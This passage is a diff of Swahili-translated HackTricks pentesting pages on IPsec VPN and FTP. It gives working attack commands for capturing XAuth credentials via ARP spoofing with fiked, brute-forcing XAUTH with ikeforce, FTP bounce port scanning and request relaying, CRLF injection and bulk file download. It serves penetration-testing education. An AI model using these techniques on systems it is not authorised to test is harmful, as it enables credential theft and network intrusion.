kwa kukamata siri za kuingia -Hivyo unaweza kukamata data ya kuingia kwa kutumia _fiked_ na kuona ikiwa kuna jina la mtumiaji la msingi (Unahitaji kuelekeza trafiki ya IKE kwa `fiked` kwa kunusa, ambayo inaweza kufanywa kwa msaada wa ARP spoofing, [maelezo zaidi](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked itafanya kazi kama mwisho wa VPN na itakamata siri za XAuth: +Hivyo unaweza kukamata data ya kuingia kwa kutumia _fiked_ na kuona ikiwa kuna jina la mtumiaji la msingi (Unahitaji kuelekeza trafiki ya IKE kwa `fiked` kwa kunusa, ambayo inaweza kufanywa kwa msaada wa ARP spoofing, [maelezo zaidi](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked itafanya kazi kama kituo cha mwisho cha VPN na itakamata siri za XAuth: ```bash fiked -g -k testgroup:secretkey -l output.txt -d ``` @@ -200,19 +208,19 @@ fiked -g -k testgroup:secretkey -l output.txt -d Kutumia **IPSec** jaribu kufanya shambulio la kati (MitM) na kuzuia trafiki yote kwenye bandari 500, ikiwa handaki la **IPSec** halitaweza kuanzishwa labda trafiki itatumwa wazi. -Kwa kuvunja nguvu **XAUTH** (unapojua jina la kikundi halali la **id** na **psk**), unaweza kutumia jina la mtumiaji au orodha ya majina ya watumiaji na orodha ya nywila: +Kwa kuvunja nguvu **XAUTH** (unapojua jina la kikundi halali la **id** na **psk**) unaweza kutumia jina la mtumiaji au orodha ya majina ya watumiaji na orodha ya nywila: ```bash ./ikeforce.py -b -i -u -k -w [-s 1] ``` Hivi, ikeforce itajaribu kuunganisha kwa kutumia kila kombinisheni ya jina la mtumiaji: nenosiri. -Ikiwa umepata moja au zaidi ya mabadiliko sahihi basi itumie kama ilivyokuwa katika hatua zilizopita. +Ikiwa umepata moja au zaidi ya mabadiliko sahihi basi zitumie kama ilivyokuwa hatua za awali. -## Uthibitisho kwa kutumia VPN ya IPSEC +## Uthibitishaji kwa kutumia VPN ya IPSEC -Katika Kali, **VPNC** hutumiwa kuanzisha vichimbuzi vya IPsec. **Mipangilio** lazima iwekwe katika saraka `/etc/vpnc/`. Unaweza kuanzisha mipangilio hii kwa kutumia amri _**vpnc**_. +Katika Kali, **VPNC** hutumiwa kuanzisha mizunguko ya IPsec. **Mipangilio** lazima iwekwe katika saraka `/etc/vpnc/`. Unaweza kuanzisha mipangilio hii kwa kutumia amri _**vpnc**_. -Amri na mipangilio ifuatayo inaelezea mchakato wa kuanzisha uhusiano wa VPN na VPNC: +Amri na mipangilio ifuatayo inaeleza mchakato wa kuweka uhusiano wa VPN kwa kutumia VPNC: ```bash root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP IPSec gateway [VPN_GATEWAY_IP] @@ -226,19 +234,19 @@ root@system:~# vpnc samplevpn VPNC started in background (pid: [PID])... root@system:~# ifconfig tun0 ``` -Katika usanidi huu: +Katika hali hii: -- Badilisha `[VPN_GATEWAY_IP]` na anwani halisi ya IP ya lango la VPN. +- Badilisha `[VPN_GATEWAY_IP]` na anwani halisi ya IP ya mlango wa VPN. - Badilisha `[VPN_CONNECTION_ID]` na kitambulisho cha uhusiano wa VPN. - Badilisha `[VPN_GROUP_SECRET]` na siri ya kikundi cha VPN. - Badilisha `[VPN_USERNAME]` na `[VPN_PASSWORD]` na sifa za uthibitishaji wa VPN. -- `[PID]` inamaanisha kitambulisho cha mchakato ambacho kitapewa wakati `vpnc` inapoanzisha. +- `[PID]` inaashiria kitambulisho cha mchakato ambacho kitapewa wakati `vpnc` inaanzisha. Hakikisha thamani halisi na salama zinatumika kuchukua nafasi ya nafasi wakati wa kusanidi VPN. ## Vifaa vya Marejeleo -* [Karatasi ya Kuvunja PSK](http://www.ernw.de/download/pskattack.pdf) +* [Karatasi ya kuvunja PSK](http://www.ernw.de/download/pskattack.pdf) * [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) * [Kuchunguza Utekelezaji wa VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf) * Tathmini ya Usalama wa Mtandao ya Toleo la 3 @@ -247,16 +255,22 @@ Hakikisha thamani halisi na salama zinatumika kuchukua nafasi ya nafasi wakati w * `port:500 IKE` +**Kikundi cha Usalama cha Kujaribu Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} +
Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! +* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/network-services-pentesting/pentesting-ftp/README.md b/network-services-pentesting/pentesting-ftp/README.md index 556232b48..a9f61890c 100644 --- a/network-services-pentesting/pentesting-ftp/README.md +++ b/network-services-pentesting/pentesting-ftp/README.md @@ -4,18 +4,26 @@ Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! -* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikitangazwa kwenye HackTricks**? au ungependa kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee -* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) -* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) +* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +**Kikundi cha Usalama cha Kujitahidi Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ## Taarifa Msingi **Itifaki ya Uhamishaji wa Faili (FTP)** hutumika kama itifaki ya kawaida kwa uhamishaji wa faili kwenye mtandao wa kompyuta kati ya seva na mteja.\ -Ni itifaki ya **maandishi wazi** inayotumia **tabia mpya ya mstari `0x0d 0x0a`** kwa hivyo mara nyingine unahitaji **kuunganisha kutumia `telnet`** au **`nc -C`**. +Ni itifaki ya **maandishi ya wazi** inayotumia **tabia mpya ya mstari `0x0d 0x0a`** kwa hivyo mara nyingine unahitaji **kuunganisha kutumia `telnet`** au **`nc -C`**. **Bandari ya Chaguo:** 21 ``` @@ -26,7 +34,7 @@ PORT STATE SERVICE Katika **FTP ya Moja kwa Moja**, FTP **mteja** kwanza **ananzisha** uunganisho wa kudhibiti kutoka kwa bandari yake N hadi kwa bandari ya amri ya Seva ya FTP - bandari 21. Mteja kisha **anasikiliza** kwenye bandari **N+1** na kutuma bandari N+1 kwa Seva ya FTP. Seva ya FTP kisha **inaanzisha** uunganisho wa data, kutoka kwa bandari yake M kwenda kwa bandari ya N+1 ya Mteja wa FTP. -Lakini, ikiwa Mteja wa FTP ana firewall inayodhibiti uunganisho wa data unaokuja kutoka nje, basi FTP ya moja kwa moja inaweza kuwa tatizo. Na, suluhisho linalowezekana kwa hilo ni FTP ya Kupitisha. +Lakini, ikiwa Mteja wa FTP ana firewall iliyowekwa kudhibiti uunganisho wa data unaokuja kutoka nje, basi FTP ya moja kwa moja inaweza kuwa tatizo. Na, suluhisho linalowezekana kwa hilo ni FTP ya Kupitisha. Katika **FTP ya Kupitisha**, mteja ananzisha uunganisho wa kudhibiti kutoka kwa bandari yake N hadi kwa bandari 21 ya Seva ya FTP. Baada ya hii, mteja anatoa **amri ya passv**. Seva kisha inatuma mteja nambari moja ya bandari yake M. Na **mteja** **anaanzisha** uunganisho wa data kutoka kwa bandari yake P kwenda kwa bandari ya M ya Seva ya FTP. @@ -36,14 +44,14 @@ Chanzo: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-att Amri za **FTP** **`debug`** na **`trace`** zinaweza kutumika kuona **jinsi mawasiliano yanavyotokea**. -## Uchambuzi +## Urambazaji ### Kukamata Bango ```bash nc -vn 21 openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any ``` -### Unganisha kwa FTP ukitumia starttls +### Unganisha na FTP ukitumia starttls ``` lftp lftp :~> set ftp:ssl-force true @@ -53,7 +61,7 @@ lftp 10.10.10.208:~> login Usage: login [] lftp 10.10.10.208:~> login username Password ``` -### Uchambuzi usio halali +### Uchambuzi wa Kibali Kwa **nmap** ```bash @@ -115,7 +123,7 @@ Hapa unaweza kupata orodha nzuri ya siri za msingi za ftp: [https://github.com/d ### Kiotomatiki -Uchunguzi wa Anon login na bounce FTP hufanywa kiotomatiki na nmap kwa chaguo la **-sC** au: +Anon login na bounce FTP checks hufanywa kiotomatiki na nmap kwa chaguo la **-sC** au: ```bash nmap --script ftp-* -p 21 ``` @@ -125,7 +133,7 @@ Unaweza kuunganisha kwenye seva ya FTP ukitumia kivinjari (kama Firefox) ukitumi ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -Tafadhali kumbuka kwamba ikiwa **programu-jalizi ya wavuti** inatuma data inayodhibitiwa na mtumiaji **moja kwa moja kwa seva ya FTP** unaweza kutuma URL encode mara mbili `%0d%0a` (katika URL encode mara mbili hii ni `%250d%250a`) na kufanya **seva ya FTP ifanye vitendo vya kiholela**. Moja ya vitendo vya kiholela vinavyowezekana ni kupakua maudhui kutoka kwa seva inayodhibitiwa na mtumiaji, kufanya uchunguzi wa bandari au jaribu kuwasiliana na huduma zingine zinazotegemea maandishi wazi (kama vile http). +Tafadhali kumbuka kwamba ikiwa **programu-jalizi ya wavuti** inatuma data inayodhibitiwa na mtumiaji **moja kwa moja kwa seva ya FTP** unaweza kutuma URL encode mara mbili `%0d%0a` (katika URL encode mara mbili hii ni `%250d%250a`) na kufanya **seva ya FTP ifanye vitendo vya kiholela**. Moja ya vitendo vya kiholela vinavyowezekana ni kupakua yaliyomo kutoka kwa seva inayodhibitiwa na mtumiaji, kufanya uchunguzi wa bandari au jaribu kuwasiliana na huduma zingine zinazotegemea maandishi wazi (kama vile http). ## Pakua faili zote kutoka kwa FTP ```bash @@ -140,18 +148,18 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ * **`USER jina_la_mtumiaji`** * **`PASS nenosiri`** -* **`HELP`** Server inaonyesha ni amri zipi zinazoungwa mkono -* \*\*`PORT 127,0,0,1,0,80`\*\*Hii itaonyesha seva ya FTP kuweka uhusiano na IP 127.0.0.1 kwenye bandari 80 (_unahitaji kuweka herufi ya 5 kuwa "0" na ya 6 kama bandari kwa decimal au tumia ya 5 na 6 kuonyesha bandari kwa hex_). -* \*\*`EPRT |2|127.0.0.1|80|`\*\*Hii itaonyesha seva ya FTP kuweka uhusiano wa TCP (_unaoonyeshwa na "2"_) na IP 127.0.0.1 kwenye bandari 80. Amri hii **inaunga mkono IPv6**. +* **`HELP`** Seva inaonyesha ni amri zipi zinazoungwa mkono +* \*\*`PORT 127,0,0,1,0,80`\*\*Hii itaonyesha seva ya FTP kuanzisha uhusiano na IP 127.0.0.1 kwenye bandari 80 (_unahitaji kuweka herufi ya 5 kama "0" na ya 6 kama bandari kwa decimal au tumia ya 5 na 6 kueleza bandari kwa hex_). +* \*\*`EPRT |2|127.0.0.1|80|`\*\*Hii itaonyesha seva ya FTP kuanzisha uhusiano wa TCP (_unaoonyeshwa na "2"_) na IP 127.0.0.1 kwenye bandari 80. Amri hii **inaunga mkono IPv6**. * **`LIST`** Hii itatuma orodha ya faili kwenye folda ya sasa * **`LIST -R`** Orodhesha kwa njia ya kurudia (ikiwa inaruhusiwa na seva) -* **`APPE /njia/kitu.txt`** Hii itaonyesha FTP kuweka data iliyopokelewa kutoka kwa uhusiano wa **pasifiki** au kutoka kwa uhusiano wa **PORT/EPRT** kwenye faili. Ikiwa jina la faili lipo, itaongeza data. +* **`APPE /njia/kitu.txt`** Hii itaonyesha FTP kuhifadhi data iliyopokelewa kutoka kwa uhusiano wa **pasifiki** au kutoka kwa uhusiano wa **PORT/EPRT** kwenye faili. Ikiwa jina la faili lipo, itaongeza data. * **`STOR /njia/kitu.txt`** Kama `APPE` lakini itabadilisha faili zilizopo * **`STOU /njia/kitu.txt`** Kama `APPE`, lakini ikiwepo haitafanya chochote. * **`RETR /njia/ya/faili`** Uhusiano wa pasifiki au wa port lazima uanzishwe. Kisha, seva ya FTP itatuma faili iliyotajwa kupitia uhusiano huo -* **`REST 6`** Hii itaonyesha seva kwamba wakati inatuma kitu kwa kutumia `RETR` inapaswa kuanza kwenye byte ya 6. +* **`REST 6`** Hii itaonyesha seva kwamba wakati inatuma kitu kutumia `RETR` ianze kwenye byte ya 6. * **`TYPE i`** Weka uhamisho kuwa wa binary -* **`PASV`** Hii itafungua uhusiano wa pasifiki na itaonyesha mtumiaji mahali anaweza kuunganisha +* **`PASV`** Hii itafungua uhusiano wa pasifiki na itaonyesha mtumiaji anaweza kuunganisha wapi * **`PUT /tmp/kitu.txt`** Pakia faili iliyotajwa kwenye FTP ![](<../../.gitbook/assets/image (227).png>) @@ -162,15 +170,15 @@ Baadhi ya seva za FTP huruhusu amri ya PORT. Amri hii inaweza kutumika kuonyesha [**Jifunze hapa jinsi ya kutumia vibaya seva ya FTP kuscan bandari.**](ftp-bounce-attack.md) -Unaweza pia kutumia tabia hii kufanya seva ya FTP iingiliane na itifaki nyingine. Unaweza **kupakia faili inayohusisha ombi la HTTP** na kufanya seva ya FTP inayoweza kudhurika **ikutume kwa seva ya HTTP isiyojulikana** (_labda kuongeza mtumiaji mpya wa msimamizi?_) au hata kupakia ombi la FTP na kufanya seva ya FTP inayoweza kudhurika ipakue faili kwa seva ya FTP tofauti.\ +Unaweza pia kutumia tabia hii kutumia seva ya FTP kuingiliana na itifaki nyingine. Unaweza **kupakia faili inayohusisha ombi la HTTP** na kufanya seva ya FTP **iliyo hatarini itume kwa seva ya HTTP isiyojulikana** (_labda kuongeza mtumiaji mpya wa msimamizi?_) au hata kupakia ombi la FTP na kufanya seva ya FTP iliyo hatarini ipakue faili kwa seva ya FTP tofauti.\ Teoria ni rahisi: -1. **Pakia ombi (ndani ya faili ya maandishi) kwenye seva inayoweza kudhurika.** Kumbuka kwamba ikiwa unataka kuzungumza na seva nyingine ya HTTP au FTP unahitaji kubadilisha mistari na `0x0d 0x0a` -2. **Tumia `REST X` kuepuka kutuma herufi ambazo huzitaki kutuma** (labda kupakia ombi ndani ya faili unahitaji kuweka kichwa cha picha mwanzoni) +1. **Pakia ombi (ndani ya faili ya maandishi) kwenye seva iliyo hatarini.** Kumbuka kwamba ikiwa unataka kuzungumza na seva nyingine ya HTTP au FTP unahitaji kubadilisha mistari na `0x0d 0x0a` +2. **Tumia `REST X` kuepuka kutuma herufi ambazo huzitaki kutuma** (labda kupakia ombi ndani ya faili ulihitaji kuweka kichwa cha picha mwanzoni) 3. **Tumia `PORT` kuunganisha kwenye seva na huduma isiyojulikana** -4. **Tumia `RETR` kutuma ombi lililohifadhiwa kwa seva.** +4. **Tumia `RETR` kutuma ombi lililohifadhiwa kwenye seva.** -Inawezekana sana kwamba hii **itatoa kosa kama** _**Socket isiyoweza kuandikwa**_ **kwa sababu uhusiano hautoshelezi kutuma data na `RETR`**. Mapendekezo ya kujaribu kuepuka hilo ni: +Inawezekana sana kwamba hii **itatoa kosa kama** _**Socket not writable**_ **kwa sababu uhusiano hautoshi kutuma data na `RETR`**. Mapendekezo ya kujaribu kuepuka hilo ni: * Ikiwa unatuma ombi la HTTP, **weka ombi moja baada ya nyingine** hadi **\~0.5MB** angalau. Kama hivi: @@ -178,42 +186,52 @@ Inawezekana sana kwamba hii **itatoa kosa kama** _**Socket isiyoweza kuandikwa** posts.txt {% endfile %} -* Jaribu **kujaza ombi na data "taka" inayohusiana na itifaki** (ukiwasiliana na FTP labda amri za taka au kurudia maagizo ya `RETR` kuchukua faili) -* Tu **jaza ombi na herufi tupu au nyingine nyingi** (zilizogawanywa kwenye mistari au la) +* Jaribu **kujaza ombi na data "taka" inayohusiana na itifaki** (ukiwasiliana na FTP labda amri za taka au kurudia maagizo ya `RETR` kupata faili) +* Tu **jaza ombi na herufi za null nyingi au nyingine** (zilizogawanywa kwenye mistari au la) -Kwa vyovyote vile, hapa kuna [mfano wa zamani kuhusu jinsi ya kutumia hii kufanya seva ya FTP ipakue faili kutoka kwa seva ya FTP tofauti.](ftp-bounce-download-2oftp-file.md) +Kwa namna yoyote, hapa kuna [mfano wa zamani kuhusu jinsi ya kutumia hii kufanya seva ya FTP ipakue faili kutoka kwa seva ya FTP tofauti.](ftp-bounce-download-2oftp-file.md) ## Udhaifu wa Seva ya Filezilla -**FileZilla** kawaida **inabana** kwa **lokalini** huduma ya **utawala** kwa **Seva ya FileZilla** (bandari 14147). Ikiwa unaweza kuunda **tuneli** kutoka **kwenye mashine yako** kufikia bandari hii, unaweza **kuunganisha** kwayo kwa kutumia **nenosiri tupu** na **kuunda** mtumiaji **mwingine** kwa huduma ya FTP. +**FileZilla** kawaida **inabana** kwa **lokalini** huduma ya **utawala** kwa **FileZilla-Server** (bandari 14147). Ikiwa unaweza kuunda **tuneli** kutoka **kwenye mashine yako** kufikia bandari hii, unaweza **kuunganisha** kwayo ukitumia **nenosiri tupu** na **kuunda** mtumiaji **mwingine** kwa huduma ya FTP. -## Faili za Usanidi +## Faili za Mipangilio ``` ftpusers ftp.conf proftpd.conf vsftpd.conf ``` -### Baada ya Kuingia +### Baada ya Kuingiliwa Mipangilio ya msingi ya vsFTPd inaweza kupatikana katika `/etc/vsftpd.conf`. Hapa, unaweza kupata mipangilio hatari: -* `anonymous_enable=YES` -* `anon_upload_enable=YES` -* `anon_mkdir_write_enable=YES` -* `anon_root=/home/username/ftp` - Daktari kwa wageni. -* `chown_uploads=YES` - Badilisha umiliki wa faili zilizopakiwa kwa siri -* `chown_username=username` - Mtumiaji ambaye amepewa umiliki wa faili zilizopakiwa kwa siri -* `local_enable=YES` - Wezesha watumiaji wa ndani kuingia -* `no_anon_password=YES` - Usiulize nywila kwa wageni -* `write_enable=YES` - Ruhusu amri: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, na SITE +- `anonymous_enable=YES` +- `anon_upload_enable=YES` +- `anon_mkdir_write_enable=YES` +- `anon_root=/home/username/ftp` - Daktari kwa wageni. +- `chown_uploads=YES` - Badilisha umiliki wa faili zilizopakiwa kwa njia isiyojulikana +- `chown_username=username` - Mtumiaji ambaye anapewa umiliki wa faili zilizopakiwa kwa njia isiyojulikana +- `local_enable=YES` - Wezesha watumiaji wa ndani kuingia +- `no_anon_password=YES` - Usiulize nywila kwa wageni +- `write_enable=YES` - Ruhusu amri: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, na SITE ### Shodan -* `ftp` -* `port:21` +- `ftp` +- `port:21` *** + +**Kikundi cha Usalama cha Kujitahidi Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + +## Amri za Kiotomatiki za HackTricks ``` Protocol_Name: FTP #Protocol Abbreviation if there is one. Port_Number: 21 #Comma separated if there is more than one. @@ -269,7 +287,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! -* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md b/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md index 1824b65c4..b4c6f1f1f 100644 --- a/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md +++ b/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md @@ -1,39 +1,46 @@
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family) +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+**Kikundi cha Usalama cha Kujitahidi** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** # FTP Bounce - Uchunguzi -## Kwa Mikono +## Kwa Mkono -1. Unganisha kwenye FTP yenye udhaifu -2. Tumia **`PORT`**au **`EPRT`**(lakini chagua moja tu) ili kuwezesha uhusiano na _\_ unayotaka kuchunguza: +1. Unganisha kwenye FTP inayoweza kushambuliwa +2. Tumia **`PORT`** au **`EPRT`** (lakini moja tu kati yao) ili kuanzisha uhusiano na _\_ unayotaka kuchunguza: `PORT 172,32,80,80,0,8080`\ `EPRT |2|172.32.80.80|8080|` -3. Tumia **`LIST`**(hii itatuma tu kwa _\_ iliyounganishwa orodha ya faili za sasa kwenye folda ya FTP) na angalia majibu yanayowezekana: `150 Hali ya faili sawa` (Hii inamaanisha bandari iko wazi) au `425 Hakuna uhusiano ulioanzishwa` (Hii inamaanisha bandari imefungwa) -1. Badala ya `LIST` unaweza pia kutumia **`RETR /faili/katika/ftp`** na tafuta majibu kama `Fungua/Funga`. +3. Tumia **`LIST`** (hii itatuma tu kwa _\_ iliyounganishwa orodha ya faili za sasa kwenye folda ya FTP) na angalia majibu yanayowezekana: `150 File status okay` (Hii inamaanisha bandari iko wazi) au `425 No connection established` (Hii inamaanisha bandari imefungwa) +1. Badala ya `LIST` unaweza pia kutumia **`RETR /file/in/ftp`** na kutafuta majibu yanayofanana ya `Fungua/Funga`. Mfano wa Kutumia **PORT** (bandari 8080 ya 172.32.80.80 iko wazi na bandari 7777 imefungwa): ![](<../../.gitbook/assets/image (225).png>) -Mfano sawa ukitumia **`EPRT`**(uthibitishaji haupo kwenye picha): +Mfano sawa ukitumia **`EPRT`** (uthibitisho umeachwa katika picha): ![](<../../.gitbook/assets/image (226).png>) -Bandari wazi ukitumia `EPRT` badala ya `LIST` (mazingira tofauti) +Bandari iliyofunguliwa kwa kutumia `EPRT` badala ya `LIST` (mazingira tofauti) ![](<../../.gitbook/assets/image (228).png>) @@ -43,16 +50,23 @@ nmap -b :@ nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443 ``` +**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
